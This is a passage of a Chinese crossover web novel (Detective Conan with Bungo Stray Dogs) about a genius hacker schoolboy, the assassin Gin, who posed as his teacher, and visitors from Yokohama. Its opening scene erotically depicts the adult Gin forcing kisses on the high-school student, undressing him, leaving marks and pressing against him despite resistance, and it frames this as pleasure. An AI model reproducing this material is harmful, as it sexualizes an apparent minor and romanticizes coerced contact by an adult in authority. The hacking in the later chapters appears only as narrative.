笑容在渐渐淡化,看向他的眼神充满了防备,即使表面相安无事的扮演着对方上学,也回不去曾经令他嫌弃的粘糊日常。 相叶佑禾回避他的视线、话变少了、讨厌与他待在一起、讨厌他的触碰…… 这一切的变化让琴酒罕见的感受到了不安。 那隐藏在黑客之下不同寻常的特殊、以及相叶佑禾对甜品不正常的渴望,这些未解之谜,在相叶佑禾发生变化时,让琴酒感觉再持续下去或许会变得更糟糕。 琴酒气笑了。 什麽时候他竟然会对一个人主动做出让步? 偏偏这个令他让步的人,没有拿枪指着他的脑袋威胁、也没有用更大的利益交换,只是无意识的把自己变得和曾经不一样了一些而已。 在相叶佑禾又一次躲避他时,琴酒终于忍不住了。 他的耐心到达了极限—— 银发男人睁开眼睛,少年近在咫尺的容颜让他勾了勾唇角。 和他猜想的一样,互换回来的条件不单单只有相叶佑禾一个人。 只要情绪到达顶峰,他和相叶佑禾,谁都可以。 愉悦和怒火交织在一起,令琴酒分不清哪个更胜一筹。 被他突如其来的举动惊得呆滞住的少年总算有了动作,他愣愣往后退去的行为让琴酒不满。 男人一手揽住他的腰,将人带入怀中,另一只手捧住少年的脑袋,修长的手指陷入蓬松的粉发中,不重不轻的力道将相叶佑禾固定在原地,无法挣脱。 相叶佑禾的大脑一片混乱。 无数想法从中闪过。 琴酒居然在亲他! 怎麽因为这个换回来了! 他果然没有猜错!琴酒真的喜欢他!! 啊啊啊琴酒怎麽真的喜欢他,他要怎麽办?! 琴酒怎麽能说亲就亲!问过他了吗! 他该怎麽办,要推开吗? 可是相叶佑禾回到自己这具脆弱的身体里后,面对不愿意纵容他的银发杀手,毫无反抗的能力。 更何况,琴酒那湿润的气息在他口腔里肆意掠夺着,极具侵略性地舔舐过每一个角落,激起一阵阵快感,似乎要让人沉溺其中。 灼热的鼻息喷洒在他泛红的脸颊上,相叶佑禾被银发男人的气息包裹得严严实实,他承受着男人不容抗拒的吻,浑身发软。 双手软绵绵地搭在琴酒的胸膛上,别说推开对方了,就连站都站不稳。 呼吸变得薄弱,少年似乎终于承受不住一般,不受控制地往后退了几步,银发男人没有因此松开他,缠绵着跟随他的脚步向前。 小腿磕在沙发边缘,相叶佑禾一个不稳往下倒,琴酒勾着他的腰,顺势压了下去。 相叶佑禾整个陷入柔软的沙发中,银色的长发扫过脸颊,铺散在两侧,如同密密麻麻的蛛丝,而他深陷其中。 得益这个意外,琴酒的唇终于稍稍退开了一些,唇间拉出一抹晶莹的银丝,落在殷红的唇瓣上。 相叶佑禾剧烈的喘/息着,见状,睫毛不受控制地颤了颤,本就泛着薄红的脸在此刻变得更加艳丽了。 “你……” “休息好了?”银发男人的低哑的嗓音响起,视线扫过少年那双泛着淡淡水汽的眼睛和水光潋滟的唇瓣。眼尾微微上扬,眸色又暗又深。 那双如狼一般淩厉的眼中,一改先前的淡漠冰冷,里面翻涌着令人退却的炽热和情/欲。 他捏住相叶佑禾的下巴,再次覆了上去。 相叶佑禾未说出口的话被碾得支离破碎,化作断断续续的喘/息,他承受着男人霸道的侵/略,并被对方逐渐熟练的技巧带动着沉沦下去。 粗粝的指腹划过腰上的软肉,酥酥麻麻的感觉引得相叶佑禾浑身一颤,喉咙间不自觉溢出一声轻哼。 相叶佑禾听到了男人粗重的喘/息,感受到被异样的硬/物/抵住,他才骤然惊醒,猛地朝琴酒推去。 银发男人不动如山,但也因此从情/欲中清醒过来,他胸膛略微起伏着,落在少年身上的目光依旧晦暗不明。 相叶佑禾迷离的眼神变得清醒,这才发现自己的衬衫不知道什麽时候被解开,白皙的皮肤上遍布着一些暧昧的红色印记,纤细的腰间覆盖着一只修长的大手,正隐隐往上抚去。 意识到刚才发生了什麽,少年涨红了脸,一把拍开琴酒的手,迅速扯住衬衫将敞开的上半身裹了起来。 “你、你、你……”你了半天,相叶佑禾也不知道说些什麽。 怎麽会这样? 他完全想不通事情为什麽会发展成这样! 相叶佑禾脑子快烧成一团浆糊了,忍着羞愤喊:“你给我起来!” 然而他却像被雷劈了一般,僵硬得不知所措,脑袋偏向里侧,连余光都不敢去看琴酒。 银发男人眸色一深,原本带着几分餍足的眼里,再次晕染开沉沉的冷意。 他捧住相叶佑禾的脸,强硬地将少年掰正,指腹从对方红肿的唇瓣上轻轻抚过:“怎麽?不喜欢?” 轻微的刺痛给相叶佑禾带来一阵刺激,他条件反射地抓住琴酒的手,心脏如击鼓一般,快从嗓子里跳出来了。 什麽喜不喜欢的,明明知道他刚才……可恶!这个混蛋是故意问各种奇怪的问题吧! 相叶佑禾一阵羞恼,气得不想理琴酒。 他觉得这完全超出了他的思考范围,无论是接受的信息还是刚才的行为对他来说都太过刺激劲爆,他完全不知道该怎麽去应对了! 他垂下眼睛,睫毛因为慌乱的内心颤抖着。 琴酒眉眼又压低了几分。 他在生气。 他在不开心。 他在因为相叶佑禾连看都不想看他而生出怒气。 “呵。”他兀地冷笑了一声:“放心,这只是收取的一点利息而已。” 让他们换回来的利息。 尊重这个固执的胆小鬼想要的生活的利息。 琴酒深深看了他一眼,起身离开。 直到门被关上,屋里安静得只能听到自己的呼吸,相叶佑禾才猛地坐起来,飞速来到门边将门反锁,确认琴酒确实离开后,才重重松了口气。 他背靠着门,缓缓蹲在地上,在心里发出烧水壶般的尖叫。 啊啊啊啊啊! 啊啊啊啊啊啊啊啊啊啊啊! 他在做什麽啊?他在做什麽啊?! 现在比起琴酒竟然真的喜欢他,更重要的是,他为什麽会……回应琴酒! 啊啊啊啊啊啊啊啊啊啊啊!不对不对!才没有!他才没有回应琴酒!那只是遵从身体本能的欲/望而已!不是回应琴酒!! 第73章 恋爱脑,没救了 不知过了多久,相叶佑禾总算是冷静下来了,却也没办法彻底静下心来。 琴酒离开前说的话什麽意思?为什麽是收取一点利息?还有本金? 相叶佑禾脑子乱糟糟的,说起来琴酒为什麽突然离开?他一会还会回来吗?应该会的吧…… 虽然他们换回来了,确实应该各回各家、互不相干,可无论是之前琴酒逼他加入黑衣组织,还是刚才的亲……的情感暴露,他和琴酒都会继续纠缠下去。 所以,相叶佑禾下意识的认为琴酒肯定回来,他跑到门边狗狗祟祟的把门反锁,又觉得在做无用功。 琴酒有他家里的钥匙,再说琴酒要是铁了心想进来,这道门可拦不住。 不行不行,他才不要跟琴酒见面!他还没做好准备,完全不知道怎麽面对对方! 相叶佑禾跑回房间里,把房间的门反锁,如果琴酒回来,看到他缩在房间里就会知道他的决心,应该不会强行开门吧? 相叶佑禾如坐针毡,别说休息了,就连找点事打发时间都做不到。 尤其是这间卧室在灵魂互换的那一段时间,借给琴酒住了,虽然属于琴酒的东西都被他收起来压箱底了,可感觉这人依旧无处不在。 可恶!明明是他的家! 相叶佑禾气急败坏的用被子裹住自己,眼不见心不烦。 他躲在被子里戳着手机,强行转移自己的注意力,但外面稍微有点风吹草动,他就立即停下来,屏住呼吸竖起耳朵仔细分辨是不是某人回来了。 被黑白两道通缉的天才黑客大人,此刻完全忘记了能查看琴酒的定位,宛如一个父母出门前交代要在家里好好写作业,却偷偷玩游戏的小孩子。 一晚上高强度集中精神让相叶佑禾感到有些疲惫,不知不觉就睡了过去。 再次睁眼,天光大亮,该去上学了。 昨天晚上就那麽睡着,身上的衣服都忘记换了,衬衫已经皱得不能看了。 相叶佑禾把衣服脱下来,正打算换另一件时,余光瞥到身上某些红色的痕迹。 他大惊失色,连忙跑到卫生间查看。 镜子里,少年身材精瘦,肌肤在灯光下愈发白皙,那些暧昧的痕迹也就更加醒目。星星点点的红色痕迹如同被揉碎的花瓣一般,从脖颈一路蔓延到纤细的腰肢上,春色尽显。 相叶佑禾脸色瞬间涨红,他攥着衣服的手指收紧,咬牙切齿地骂:“这个混蛋!” 胸前和腰上的痕迹还好,衣服能遮住,但是脖颈上的怎麽办?校服衣领不够高,四月份的天气戴上围巾又很奇怪…… 相叶佑禾磨牙,恨不得把琴酒拉到面前揍一顿。 接吻就好好接吻,不要乱亲其他的地方啊!!—— “相叶,早上好。”二年B班,毛利兰看向提着书包走进来的少年打招呼。 “早上好。”相叶佑禾走到座位,刚把书包放下便听毛利兰问:“相叶,你受伤了吗?” “诶?相叶,你的脖子怎麽了?”铃木园子惊呼,两人目光落在少年缠满绷带的脖颈上,满是担忧。 “啊……嗯,不小心被水烫到。”相叶佑禾摸了摸脖颈,不自在地垂下眼眸:“别担心,不是很严重,过几天就好了。” 该死的琴酒! 早在家里时,相叶佑禾就一边对着镜子缠绷带,一边骂了琴酒一早上,就算如此,他的气也还没消。 “怎麽会被热水烫到脖子,其他地方怎麽样?”世良真纯看向相叶佑禾完好无损的手指,顿了顿。 “就是杯子掉下去的时候,热水溅起来刚好溅到脖子上。”相叶佑禾面不改色的解释。 “原来如此,还好不是很严重。” “嗯。” 看着大家目光都落在他脖颈上,相叶佑禾突然觉得今天还不如请假呢。 朋友们可以糊弄过去,但是琴酒呢? 没有人比琴酒更清楚他脖子是怎麽回事。 上课铃声响起,学生们纷纷回到座位上,相叶佑禾手指一紧,他微微俯身,尽量让前桌挡住自己。 脚步声传来,相叶佑禾的心跳越来越快,连眼睛都不敢抬。 “同学们好。”不算陌生的声音响起,是经常能见到的隔壁班老师,他站在讲台上,对下面疑惑的学生们解释:“黑泽老师辞职了,在你们新老师来之前,今天这堂课暂时由我来上。” 相叶佑禾一愣。 辞职了? 琴酒? 相叶佑禾下意识想要发消息问琴酒为什麽辞职时,便见班里的大家朝他看来。 “诶?黑泽老师辞职了?” “为什麽啊?昨天不是还好好的吗?” “相叶,黑泽老师为什麽辞职啊?” 相叶佑禾摇了摇头:“我也不知道。” “诶?怎麽会。” “对啊,以你们俩的关系,相叶你肯定知道吧!” “哈哈,就别卖关子了,快说快说,黑泽老师怎麽舍得辞职了?” 什麽叫‘以他俩的关系’,他跟琴酒是什麽很好的关系吗?他为什麽‘肯定’知道? 相叶佑禾不开心道:“我确实不知道,毕竟我跟黑泽老师又不熟。” “不熟……”同学们露出死鱼眼。 你管和黑泽老师一起来学校一起回家、整天黏黏糊糊的,就连课间吃饭也要黏在一起,一整个热恋期的状态叫做不熟? “对,我们不熟。”相叶佑禾坚定道。 琴酒为什麽辞职关他什麽事?琴酒为什麽第一次换时回来没辞,这次突然辞职了,关他什麽事! 他们又不熟! 相叶佑禾翻开书本杵着脸颊,一副学习中勿扰的模样,看得同学们瞬间不敢继续问了。 只偷偷摸摸地窃窃私语。 “嘶……他们该不会又吵架了吧?” “很有可能,而且还非常严重!” “诶?他们不是和好了吗?前几天虽然没有热恋期的样子,但还是挺融洽的啊。” “对啊对啊,我还看到‘黑泽’老师经常偷偷看相叶呢!明明就超级在意的!” “这麽说他们上次该不会根本就没和好吧?” 有人脑洞大开:“黑化后的黑泽老师看起来像是会霸王硬上弓的类型,该不会做出了什麽过分的事,结果被相叶狠狠拒绝,然后黑泽老师知道这份关系修复无果,伤心欲绝之下决定放弃这份感情,然后辞职了?” 坐在附近的世良真纯被这位同学的脑洞震惊到了,但是竟然意外的有些合理。 她看向相叶佑禾脖颈间的绷带,神色复杂。 只有脖颈上被水烫到的伤,好像也有了解释的理由?—— 相叶佑禾完全不知道同学们在八卦些什麽。 琴酒辞职了,他就不用担心见到对方会尴尬,这不是很好吗? 但为什麽会莫名其妙的感到生气。 说起来,那混蛋昨天晚上没有回家,今天又辞职了,在做完一些莫名其妙的事情后,一声不响的就这麽消失了,这是什麽意思? 相叶佑禾拳头硬了。 他好几次拿出手机,想要发消息问问这个混蛋为什麽要辞职,问问他到底去做什麽了,最后还是忍住冲动,把手机收了回去。 不问。 为什麽要问? 就这麽消失永远不出现才好! 相叶佑禾不仅没有问琴酒,接下来的日子,他一如既往的上学、回家,休息日和朋友们一起去吃蛋糕,逗弄一下江户川柯南,日子过得十分惬意。 不过烦的一点是,大家总是会时不时提起琴酒的名字,尤其是江户川柯南。 “黑泽老师他……唔!” 江户川柯南嘴里被塞了一大块蛋糕,堵得严严实实的。 “柯南,这个蛋糕好吃吧?”相叶佑禾笑眯眯地问。 江户川柯南背脊一凉,莫名觉得这个笑容假得可怕,于是点了点头。 相叶佑禾满意地笑了笑,把蛋糕推过去:“嗯,那你就多吃点。” 看着面前三块蛋糕,江户川柯南沉默了。 相叶他果然不对劲吧! 毛利兰看了眼时间:“相叶,我先去给爸爸送点吃的上去。” “嗯,好。”相叶佑禾点头。 毛利兰:“柯南,你不要乱跑哦,好好和相叶哥哥待在一起。” “好~小兰姐姐你先去吧。”等毛利兰离开后,江户川柯南抱着蛋糕磨磨蹭蹭的吃着,看向相叶佑禾。 少年杵着下颚,神游天外,面对心爱的蛋糕也不吃,竟然用叉子有一搭没一搭地戳着,好好的蛋糕被戳得乱七八糟的。 江户川柯南欲言又止,最后还是说道:“相叶哥哥,你和黑泽老师吵架了吗?” “没有,我为什麽要和他吵架?”相叶佑禾面无表情道:“我们的关系还没好到能吵架的地步吧?” 江户川柯南死鱼眼。这不是在生对方的气吗?还说没吵架。 “可是你和黑泽老师……” “柯南,看不出来你这麽喜欢黑泽老师。”为什麽每个人碰到关于琴酒的疑惑都要问他啊,相叶佑禾都听烦了:“你可以去问安室先生和绿川先生,对了,你不是和冲矢老师关系很好吗?你去问他吧,他对黑泽阵的了解肯定比我多。” 说到安室透和诸伏景光,他们和贝尔摩德也在前几天辞职了。 相叶佑禾偷偷入侵了他们的手机,看到了琴酒发给三人要求立即辞职的短信。 还有冲矢昴,虽然还没辞职,但是FBI那边出了点问题,最近、以及接下来都有得忙了。 至于是谁干的,相叶佑禾不用猜都知道。 他大概知道琴酒在做什麽。 ——退出相叶佑禾的生活,还他平静人生。 相叶佑禾面无表情地搅着手里的蛋糕,额前的碎发遮住眼睛,看不清里面的神情。 他该夸一夸琴酒的体贴吗? 没想到这个混蛋竟然会主动放弃把他带回组织的任务,不仅自己退出他的生活,连带着组织的其他人也叫了回去。 挺好的。 他不用做出牺牲,和琴酒拼个你死我活,不用小心翼翼地在朋友们面前替麻烦的杀手遮掩身份,不用担心自己和琴酒走得太近牵扯到朋友们,不用害怕时间久了异能力会被发现,他重新拿回了自己想要的生活,相叶佑禾觉得挺好的。 琴酒做他的杀手,他做他的普通高中生。犹如夜晚和白天,存在却又互不干扰。 他和琴酒本该如此。 但是为什麽呢? 为什麽会觉得有些无聊?他重新过上了做梦都想恢复的正常生活,可竟然有些索然无味起来。 那淡淡的失落感一直盘踞在心头,无法消散。 也许是他一个人生活太久了吧?琴酒骤然闯入,生活中无处不在,他已经习惯了身边有人的日子,又突然回到一个人的生活所以感觉不习惯。 又或者…… 相叶佑禾垂眸,看着这双修长白皙的手有些出神。 他的异能力需要在有电子设备时发动,当不满足这个条件使用后,需要付出一定的代价。 相叶佑禾不清楚这个代价,他以前从未无视过限制,而前段时间因为情况紧急无视限制两次,事后他有谨慎地感受过身体的状态,似乎没有太大的影响。最明显的大概就是他对蛋糕不会像从前那麽渴望了。 至于其他的……相叶佑禾能感觉到他的情绪在逐渐变淡。 因为期间和琴酒互换了身体,当时的感觉不太明显,等重新掌控了身体后就愈发清晰了起来。 毛利兰等人以为他是和琴酒闹矛盾不开心,所以笑容变少了。 可是相叶佑禾自己清楚,他只是感觉没有什麽事开心到能笑出来而已。 不过没关系,又不是真的一点都笑不出来了。 只是从笑点低的人变得比较高冷而已,其他情绪很充沛啊!比如在大家提起琴酒这个名字时的烦躁,想起琴酒做的一些混蛋事情生气等等…… 这麽点代价根本不算代价,他依旧能正常生活。 不过以后还是要注意一点,不要随意无视限制了。他可不想变成一个三无。 “啊哈哈,也没有啦。”江户川柯南被相叶佑禾‘你这麽喜欢黑泽老师’的发言弄得一阵恶寒。 他讨厌琴酒还来不及呢! 只是馋琴酒手里APTX4869的另一半数据而已。 数据虽然重要,但用手里的那些数据也能研究,只不过是拿到解药的时间慢一点。现在更重要的是相叶佑禾。 既然他们之间的感情已经出现问题了,得趁热打铁让他们永远没有在一起的机会才行! “其实我从以前就觉得黑泽老师有点可怕呢!尤其是你们吵架的那段时间,黑泽老师比毛利叔叔他们逮捕的犯人都可怕!步美和灰原有次都被吓哭了呢!”江户川柯南不觉得自己是在抹黑琴酒,他只是还原琴酒的形象而已。 “相叶哥哥,我觉得你还是离黑泽老师远一点比较好,毛利叔叔阅犯人无数,他总说黑泽老师很危险,打架厉害脾气很差又容易生气,一个不开心说不定就会拿身边的人出气,相叶哥哥你身体又不太好,万一被打伤了怎麽办?” 打伤还是委婉的,琴酒这种阴晴不定的人,上一秒说喜欢,下一秒说不定就拿枪把人给崩了。 不过江户川柯南觉得不可能。 毕竟琴酒为了相叶佑禾做出了多少失智行为他都看在眼里,尤其琴酒不仅无视他,还把APTX4869的数据给他,可见相叶在琴酒心里份量有多重。 什麽叫‘身体不太好被琴酒打伤怎麽办?’ 相叶佑禾觉得他被江户川柯南鄙视了。 “柯南,G、黑泽阵他虽然脾气差容易生气,但我脾气更不好,一般都只有我冲他发脾气的份!” 他才不会乖乖等着琴酒骂,在琴酒骂他之前,一定是他先骂琴酒! 江户川柯南:“?”谁脾气更不好? 相叶佑禾继续:“他打架确实厉害,但是在我面前也没用,我有办法能制住他,别说打我了,有好几次都是我打他呢!” 虽然是用琴酒的身体,但也是他! “至于吓人,只是表情比较冷、笑容比较张狂而已,也就能吓吓小孩子。” 哼,像他这种见惯了大风大浪的成熟大人,根本就不害怕。 所以,懂了吗工藤新一!他和琴酒之间,他相叶佑禾才是那个占上风的! 江户川柯南傻眼了。 他万万没想到相叶佑禾为了维护琴酒,破坏起自己的形象来毫不手软。 但是相叶佑禾也不想想,他会信吗! 看琴酒之前的行为,江户川柯南还以为两人关系破裂是相叶佑禾这边提出的,但现在看来,相叶佑禾对琴酒那是一点都没放下啊! 江户川柯南恨铁不成钢。 等等,既然还爱得这麽深,该不会没几天又死灰复燃吧? 江户川柯南急忙道:“可是黑泽老师辞职都不告诉相叶哥哥,这种大事再怎麽说也得和你说一声吧?他一点也不尊重相叶哥哥呢!” 相叶佑禾本来想说‘为什麽要告诉我,我也不想知道’,但听到柯南后半句话后,思绪偏离了。 确实,虽然琴酒的做法是他最想要的,按理说他应该感谢琴酒,但相叶佑禾确实有点不爽。 既然决定不干扰他未来的生活,说一声会怎样? 哼,算了,不管他。这不重要。 反正不管琴酒离开还是不离开,相叶佑禾都打算继续‘拿下黑衣组织,成为boss’的计划。 开弓没有回头箭,他的计划已经在实施了,就算中断也有很大概率被怀疑盯上,不如继续下去。 而且黑衣组织的存在对他来说就是一个不定时炸弹。 黑衣组织的boss要他,琴酒虽然手握重权,但黑衣组织不是他的一言堂,依旧不能越过boss、让所有人都违背boss的命令。 况且……琴酒虽然为了他违背了一次组织的命令,但这是在boss不知道他找到了‘黑客樱’的情况下,如果boss知道,要求琴酒把他带回去呢? 到时候琴酒会怎麽做?他会怎麽选择? 想要真正解决这个危险,果然还是只能把它捏在手里。 “柯南,你说的对,不过你放心。”相叶佑禾露出一抹意味深长的笑:“以后他就没机会这麽干了。” 哼,等他成为了boss,看琴酒还敢不敢不‘尊。重’他。 别说辞职了,就算是去吃饭这种小事也得跟他报告才行! 想到琴酒不悦又只能忍着的样子,相叶佑禾心情就一阵舒爽。 他揉了揉江户川柯南毛绒绒的脑袋,到时候送几个犯人给他抓走玩玩吧。 看着少年脸上不合时宜的笑容,和明显不对劲的话,江户川柯南心头涌出一股不妙的感觉。 完蛋! 怎麽感觉适得其反了?! 他好像把相叶佑禾推上了一条有犯罪味道的道路! 江户川柯南一把抓住少年的手臂:“相叶哥哥!我乱说的!这是黑泽老师的隐私,他一定有自己的考量,我们只要支持他的选择就可以了!” 相叶佑禾喃喃道:“隐私啊……” 说起来,他和琴酒互换后,都没什麽隐私可言了。 江户川柯南看着越来越往黑化方向靠的相叶佑禾,头都大了。 他忍不住在心里大骂琴酒,都是这个该死的犯罪分子,看把一个好好的人都带坏成什麽样了! 江户川柯南谨慎地组织着能挽回的语言:“那个……相叶哥哥,我觉得……” “柯南,下次再聊吧,时间不早了,我要回家了。”相叶佑禾提起书包往外走,今天的休息时间差不多了,他要回家继续去忙黑衣组织的事。 “诶?相叶哥哥,等等!”江户川柯南连忙追出去,却在跑出门口时,撞上突然停下来的相叶佑禾。 相叶佑禾一动不动,他愣愣地看着面前的人,觉得今天的夕阳有些刺眼,刺得他眼睛都有些模糊。否则怎麽会看到一个不该出现在这里的人? 对面少年一样的人勾了勾唇,俊秀的脸上露出一抹孩子气的不满:“乱步大人最近甜品被没收都没得吃,你居然在这糟蹋蛋糕!” “真是过分呐!佑禾!” 第74章 暴露了? 少年的话让相叶佑禾再也无法欺骗自己是眼花,眼前的人的的确确是他在横滨认识的人——江户川乱步。 在异能者大战后,日本作为战败国,政府将异能者们限制在横滨约束,既能使用他们的能力,也防止他们影响普通社会,除了少数由政府授权的异能者能在横滨以外的地方活动外,异能者们都不得离开横滨。 他们被‘隔离’在这座由政府租借的特殊局域,横滨给了异能者们一个容身之所,却也是禁锢了他们自由的‘囚笼’。 相叶佑禾阴差阳错被打上已死的标签,在异能者、政府眼里,异能者‘天眼’已经死去,被带走的只是一个被爆炸误伤到奄奄一息的孤儿。 江户川乱步并不是真正的异能者,能出现在这里也不是特别奇怪的事。 只是他们都有特殊的身份和经历,即使不是真正的异能者,江户川乱步也象征着横滨。 他的到来,似乎也隐隐有种风雨欲来的趋势。 “乱……步?”相叶佑禾眨了眨干涩的眼睛,带着惊喜的嗓音也同样干巴巴的。 他既开心能见到故人,又为故人出现在这意味着什麽而担忧。 “虽然早有猜测,但是真正见到还是让乱步大人有些惊讶。”江户川乱步大步走到相叶佑禾跟前,他抬了抬镜框,镜片后的眯眯眼一眨不眨地盯着相叶佑禾。 相叶佑禾都被他看得有些不自在了,他扶住少年的肩膀,将人往后推直:“干嘛?” “唔……不错不错,比以前可爱多了。”江户川乱步看着相叶佑禾脸上生动的表情,弯了弯眼睛,在对方开口前,率先说道:“放心吧,乱步大人是站在你这边的,再说这些之前,我为了找到你可辛苦了!一路上不是在迷路就是在迷路,虽然这些都难不倒乱步大人,但你还是要请我吃甜品作为补偿!” 少年额头上布了层细密的汗水,发丝和衣服有些淩乱,看起来有几分狼狈。 相叶佑禾瞥了眼光明正大偷听他们对话的江户川柯南,点头:“走吧,我带你去另一家甜品店。” 江户川柯南:“……”什麽话要特意避开他说! 相叶佑禾没有搭理他,看到江户川乱步瘪嘴,补充道:“一样很好吃。” 江户川乱步气呼呼地戳了戳江户川柯南的呆毛后,拉着相叶佑禾兴冲冲地走了:“走吧,乱步大人等不急了!” 被社长停了零食甜品的这几天,他都快憋死啦! “等等、相叶哥哥,我也一……”江户川柯南急急忙忙地跟上,能让他们特意避开自己的事,一定很重要!他绝对不能错过! 然而他刚跑过去,便被相叶佑禾一把勾住衣领,推回波洛咖啡厅里:“小梓小姐,柯南说他作业有道题不会,想要请教你。” “啊?”江户川柯南看着撒谎面不改色的相叶佑禾愣了一下:“不是,我没——” “诶?真是少见。”夏本梓笑着走过来,弯腰笑眯眯地问:“是什麽题目居然会难到柯南。” 江户川柯南只好挠着头解释:“啊哈哈,没有啦。我刚才……” 趁江户川柯南应付夏本梓时,相叶佑禾立马拉着江户川乱步离开,途中还一直注意这江户川柯南的动向,生怕这小鬼一个不注意偷偷跟来听到了什麽不该听的话—— 另一家甜品店里,相叶佑禾将店员新上的一份蛋糕推向江户川乱步:“这个口味也很好吃,你尝尝。” 江户川乱步尝了一口,毫不吝啬地夸赞:“唔,口感很好,乱步大人喜欢!” 相叶佑禾忍不住笑了笑。 突然想起他和江户川乱步的初遇。 那年他六岁,正作为港口黑手党的异能者工具出任务,结束任务的路上路过了一家甜品店,看到了在里面吃着甜品的江户川乱步。 稍微驻足的几秒,让里面的江户川乱步察觉到了他。 江户川乱步今年十岁,跟随父亲来横滨出差,他看了眼正在和人交谈的父亲,端着蛋糕离开,出现在相叶佑禾面前。 “蛋糕软软甜甜的,当然很好吃,你尝过一次就知道我为什麽喜欢它了。” 相叶佑禾面无表情的看了他一眼,江户川乱步又道:“不试试怎麽知道会不会喜欢?好吧,不喜欢也没关系,反正对好奇的东西尝试一下准没错。” 相叶佑禾没有疑惑江户川乱步为什麽知道他想说什麽,江户川乱步也没觉得相叶佑禾不好奇有什麽不对。 相叶佑禾没有因为江户川乱步的话而动摇,他好像没有听见一般、也一点都不在意面前这个仿佛能看透人心的小少年,只是平静地转身离开。 江户川乱步看了眼不远处等待他的黑西装男人们,一把抓住他。 “你不想回去。”他看着这个眼睛平静得不像人类的粉发孩童,直言道:“你明明可以……” 喧闹的街头,手里还端着半块蛋糕的少年嘴巴一张一合,相叶佑禾却听不清他说了什麽。 说了什麽呢? 他很确定因为这句话,两人才有了接下来的交集,可相叶佑禾却完全记不清了。 江户川乱步看了眼冥思苦想的少年:“乱步大人也不太记得清了,反正也不是什麽特别重要的事,想不起来就别想了。” “嘛,难免有些在意。”相叶佑禾说道:“不过你说得对,忘了就忘了吧。” 江户川乱步动作一顿,眯起的眼眸微微睁开,翡翠色的瞳孔在灯光下折射出一抹光芒,如同玻璃珠一般漂亮。 他看了眼神色淡淡、仿佛提不起什麽情绪的相叶佑禾几眼,小声嘟囔了一句:“笨蛋。” “什麽?”相叶佑禾没听清。 “没什麽。”江户川乱步眼睛重新闭了起来:“乱步大人是来告诉你,如果不想事情往更糟糕的方向发展,接下来不要再使用异能力了。” 相叶佑禾面色微冷:“他们果然发现我了?” 他没有询问原因。 在身份暴露了之后,暴露的原因反而变得不再重要。 这对他而言明明是最难以接受的事情,可相叶佑禾现在却意外有些平静。 平静到心中泛起浓烈的杀意。 “嗯。”江户川乱步有些意外的看了他一眼,他对相叶佑禾的印象还停留在那个没有感情的孩童上,现在对方一切表现都让他觉得新奇。 新奇的同时,也觉得棘手。 啧,真是的,他们为什麽会觉得把并不认为自己属于横滨的相叶佑禾带回去,能为自己所用? 哦,他们要的并不是这副模样的相叶佑禾。 江户川乱步道:“不过事情也没有你想象得那麽糟糕,还有回旋的余地。” 相叶佑禾不解地看向他。 在这个信息时代,他的异能力十分好用,拥有他就相当于掌握了无数异能者的把柄,除非大家通通回到纸质化时代,否则所有的信息、踪迹都将在他面前一览无余。 幼时的他便被许多异能者组织觊觎,得不到就试图暗杀,如今知道他还活着,一定会想方设法把他带回横滨。 异能者可以解决,可政府呢?只要他是异能者的身份被政府知道,他将会被立即遣送回横滨。 这便是相叶佑禾最担心的事。 他一个人无法与整个国家抗衡。何况他羸弱的身体就是最大的拖累。 但既然江户川乱步这麽说了,那就还有办法。 相叶佑禾垂眸,放在桌上的手指微微摩挲了下:“知道我身份的人有哪些?” 他现在还在米花町坐着,就代表知道他还活着的人很少,并且对方暂时不打算向政府暴露他的身份。 那麽,他只要在这之前将人解决掉就行。 “别想了。”江户川乱步一眼看穿他的想法:“不是乱步大人想要揭你短,但就靠你这比乱步大人都要弱十倍的身体,完全就是任他们拿捏的份嘛!” 相叶佑禾感觉自己被朋友鄙视了,他扫了眼脸颊还有些稚嫩的江户川乱步,不服气道:“哪有十倍那麽多!我现在已经和正常人差不多了!” 在琴酒的不懈努力下,他身体比起从前已经好很多了!尤其是琴酒操作的时候,都能一口气干掉三个杀手! “我们要是打一架赢的肯定是我。” 江户川乱步:“啊?你这个跑几步都能喘得快死掉的人在说什麽?” “哪有那麽夸张?”相叶佑禾:“今时不同往日,我已经成长了!” “那也只是从跑几步到跑几百米,基数太小,就算番几十倍也还是比不过乱步大人。”江户川乱步得意地哼哼:“乱步大人可是能迷路一整天找不到路的。” 所以说这种事为什麽要得意扬扬? “击败敌人为什麽要比跑步这种傻傻的体力活,当然是找准弱点智取!”相叶佑禾看着双手抱胸的江户川乱步,一把抢过他面前的蛋糕,勾唇:“比如这样!” “啊!乱步大人的蛋糕!” “噗……”一道陌生的笑声在身侧响起。 相叶佑禾侧头,只见一身黑西装、身上缠满绷带的少年十分自来熟的坐在了他旁边的座椅上。 他举起手,裸露在外的那只瞳孔亮亮的,兴致勃勃地插入他们的话题里:“说得对,我们这种柔弱的脑力派就应该智取才对,而不是像某个暴力的小矮子,只会使用暴力。” 第75章 图谋不轨 “你说对吧~相叶君。”少年看向相叶佑禾眨了眨眼,看似活泼可爱,但那只鸳色的眸子里却藏着粘稠的情绪,又好像什麽都没有,宛如一颗漂亮却没有感情的玻璃珠。 他精致的面庞带着几分不正常的苍白,唇角勾着一抹笑,那笑浅浅的,却饱含着令人心惊得深意,仿佛稍有不慎就会被拖进深不见底的黑暗。 只一眼,相叶佑禾就瞬间警备了起来。 异能者,还是个非常危险的异能者。 他是冲自己来的。 相叶佑禾如临大敌,没有因为少年可爱的表象迷惑。原本和江户川乱步拌嘴还算柔和的脸色,在这一刻直接冷了下来,浑身爆发出刺骨的杀意。 面对敌人,他再也不是那个温和乖巧、惹人怜爱的‘柔弱高中生’,是横滨人人厌恶恐惧的异能者——‘天眼’。 太宰治瞳孔里倒映出粉发少年面无表情的脸,那双苍翠的眼睛如同浸泡在寒潭里的翡翠一般,无悲无喜,没有感情也没有一丝人类的温度。 这就是那个即使离开了十年,也依旧令人闻之色变的‘天眼’啊。 太宰治唇角笑意颇深,仿佛没有察觉到相叶佑禾那平静又冰冷的杀意,他直起身凑到相叶佑禾跟前,正准备执起对方的手时,脑袋被一只手猛地按在了桌上。 “砰!” 巨大的响声传来,连带着桌子都震了震。 “太宰!你在说谁是暴力的小、矮、子。”橘色头发的少年面色不善,修长纤细的手指死死按在太宰治的脑袋上,任对方怎麽挣扎都没有松开。 距离最近的相叶佑禾被吓了一跳,面容呆滞。 好响! 好疼! 换成他的话额头的皮估计已经炸开开始库库飙血了。 “来得真快。”江户川乱步‘啧’了一声,端着面前的蛋糕往后仰,生怕被波及到。 他看向一副牙酸的相叶佑禾,小声说道:“佑禾,我们快撤!” 虽然不知道这两个莫名其妙的家夥为什麽打起来,但现在确实是好机会。 